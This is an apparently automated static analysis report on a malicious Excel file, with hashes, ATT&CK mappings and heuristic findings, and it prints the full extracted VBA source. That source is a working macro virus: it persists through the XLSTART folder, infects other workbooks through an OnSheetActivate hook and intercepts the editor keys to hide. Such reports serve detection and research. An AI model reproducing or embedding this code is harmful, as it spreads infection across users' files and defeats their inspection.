Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 081611b48736db19…

MALICIOUS

Office (OLE) / .XLS

103.5 KB Created: 2004-01-29 14:36:34 Authoring application: Microsoft Excel First seen: 2026-05-10
MD5: 49444a8a17b81601d532de30da8fc577 SHA-1: 9c250d5064b21b013270f347f997f52500a81a83 SHA-256: 081611b48736db19330af016694053be5578b0970a191064daafbd7d897601e8
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Excel file containing VBA macros. It attempts to establish persistence by saving itself as 'StartUp.xls' in the Excel XLSTART startup folder. The macros also hook Excel's 'OnSheetActivate' event and use 'OnKey' to evade detection and spread to other workbooks, indicating a sophisticated persistence and propagation mechanism.

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
    Application.OnSheetActivate = "StartUp.xls!cop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
    Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Related samples 6

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1916 bytes
SHA-256: 6186b02152a8317cd98cf405d938b4e720afc03d66241e5d1a4255546c2db653
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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